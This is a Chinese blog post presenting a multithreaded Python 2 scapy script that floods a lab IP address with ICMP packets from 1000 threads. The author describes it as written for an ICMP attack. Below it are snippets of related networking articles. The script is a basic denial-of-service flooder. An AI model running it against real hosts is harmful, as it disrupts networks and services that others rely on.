多线程发送icmp数据包(Python版)

做icmp攻击时,先用Python写了发送数据包的函数。

发送数据包用的是scapy模块,需要先安装:apt-get install python-scapy

‘‘‘
date:2014/12/3
author:yss
function:send packets from host to server with multithreading
‘‘‘
import threading
from time import sleep,ctime
from scapy.all import *

num=1000#the number of the thread
class MyThread(threading.Thread):
    def __init__(self,func,args,name=‘‘):
        threading.Thread.__init__(self)
        self.name=name
        self.func=func
        self.args=args

    def run(self):
        apply(self.func,self.args)

def send_packet():
    send(IP(dst=‘192.168.85.132‘,ttl=(1,100))/ICMP())#each thread send 100 packets

def main():
    print ‘starting at:‘,ctime()
    threads=[]        #deposit thresds
    #nloops=range(len(loops))

    for i in range(num):    #create an instance of an object
        t=MyThread(send_packet,(),send_packet.__name__)
        threads.append(t)

    for i in range(num):    #start threads
        threads[i].start()

    for i in range(num):    #wait for all
        threads[i].join()#threads to finish

    print ‘all done at:‘,ctime()

if __name__ == ‘__main__‘:
    main()
时间: 2024-10-18 03:13:36

多线程发送icmp数据包(Python版)的相关文章

用Golang自己构造ICMP数据包

ICMP是用来对网络状况进行反馈的协议,可以用来侦测网络状态或检测网路错误. 限于当前Golang在网络编程方面的代码稀缺,资料甚少,所以分享一个用Golang来构造ICMP数据包并发送ping程序的echo消息的实例. RFC792定义的echo数据包结构: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

libcap-捕获icmp数据包

geticmp1的功能是,捕获icmp数据包,并打印出数据包的内容,不过是直接打印的,不够人性化.geticmp2就更优化一些,把数据包的内容按照icmp,ip的格式打印出来,可以看到报文的内容. 编译方法:gcc -o geticmp? geticmp?.c -lpcap 源代码: geticmp1.c #include <pcap.h> #include <time.h> #include <stdlib.h> #include <stdio.h> #d

“ping”命令的原理就是向对方主机发送UDP数据包,HTTP在每次请求结束后都会主动释放连接,因此HTTP连接是一种“短连接”

Socket  是一套建立在TCP/IP协议上的接口不是一个协议 应用层:  HTTP  FTP  SMTP  Web 传输层:  在两个应用程序之间提供了逻辑而不是物理的通信(TCP  UDP) TCP  可靠的  面向连接的服务 UDP  不可靠的  无连接的服务 只要底层实现TCP IP协议  都可以用socket进行通信 1.TCP和UDP 1.1 TCP连接 TCP协议能为应用程序提供可靠的通信连接,使一台计算机发出的字节流无差错地发往网络上的其他计算机,对可靠性要求高的数据通信系统往

python基础学习日志day8-socket发送大数据包问题

一:什么是socket大数据包发送问题 socket服务器端或者客户端在向对方发送的数据大于对方接受的缓存时,会出现第二次接受还接到上次命令发送的结果.这就出现象第一次接受结果不全,第二次接果出现第一次结果. 比如send 1900 数据,recv 只接受1024.多于数据900放在缓存区里,第二次命令来的时候,调用send会先把900发回去,在把新数据放到缓存区,等到1024在系统会自动发送过去. 发送数据,一是缓存区满,二是超时 解决办法: 在发送数据前,计算发送数据的大小,把大小发给对方.

TCP中在发送的数据的ACK未回来前,能继续发送其他数据包吗?

##基础## - 对应层数据的名称 - Application  <->  Package - Translation  <->  Segment - Networking   <->  Packet - DataLink     <->  Frame - TCP是一种基于字节流的协议,TCP 中的ACK是接收端期待发送端下一个发来的数据包的序列号 - MSS 是在建立连接时通过SYN数据包中的MSS选项里进行协商的(以太网的MTU能到1500,所以MSS可

Linux 网络编程——原始套接字实例:发送 UDP 数据包

以太网报文格式: 详细的说明,请看<MAC 头部报文分析>. IP 报文格式: 详细的说明,请看<IP 数据报格式详解>. UDP 报文格式: 详细的说明,请看<UDP 数据报格式详解>. 校验和函数: /******************************************************* 功能: 校验和函数 参数: buf: 需要校验数据的首地址 nword: 需要校验数据长度的一半 返回值: 校验和 ********************

网络性能测试工具minsmb功能特点-如何加载、发送PCAP数据包

网络性能测试工具minismb,是一款专门用于测试智能路由器,网络交换机的性能和稳定性的软硬件相结合的工具.可以通过此以太网测试工具测试任何ip网络设备的端口吞吐率,带宽,并发连接数和最大连接数等诸多参数指标. 与软件Iperf,netperf, dpdk trafficgen相比较,MiniSMB属于专业硬件网络发包测试仪, 具备精准测试速率,高吞吐率,可模拟千万级连接数等特点. minismb网络数据性能测试仪最新版本为3.3.0版. 本文主要介绍minismb网络测试仪的pcap数据包加载

python多线程发送socket数据,主线程保持接收状态,settimeout()的相关用法

转载:http://codego.net/9140379/ 有点乱后期在做整理 1.在非阻塞套接字没有数据可用的情况下,recv的会抛出异常socket.error和异常的价值将要么EAGAIN或者EWOULDBLOCK的错误号.例如: import sys import socket import fcntl, os import errno from time import sleep s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

python数据包之利器scapy详解!

scapy介绍:  在python中可以通过scapy这个库轻松实现构造数据包.发送数据包.分析数据包,为网络编程之利器! scapy安装: pip install scapy   ======> scapy不是内置模块,故需要额外安装 导入scapy方式: from scapy.all import * 构造包: a = Ether()/IP(dst='114.114.114.114')/TCP(dport=80)/应用层数据 print(a.show())  ======> 可以先通过a.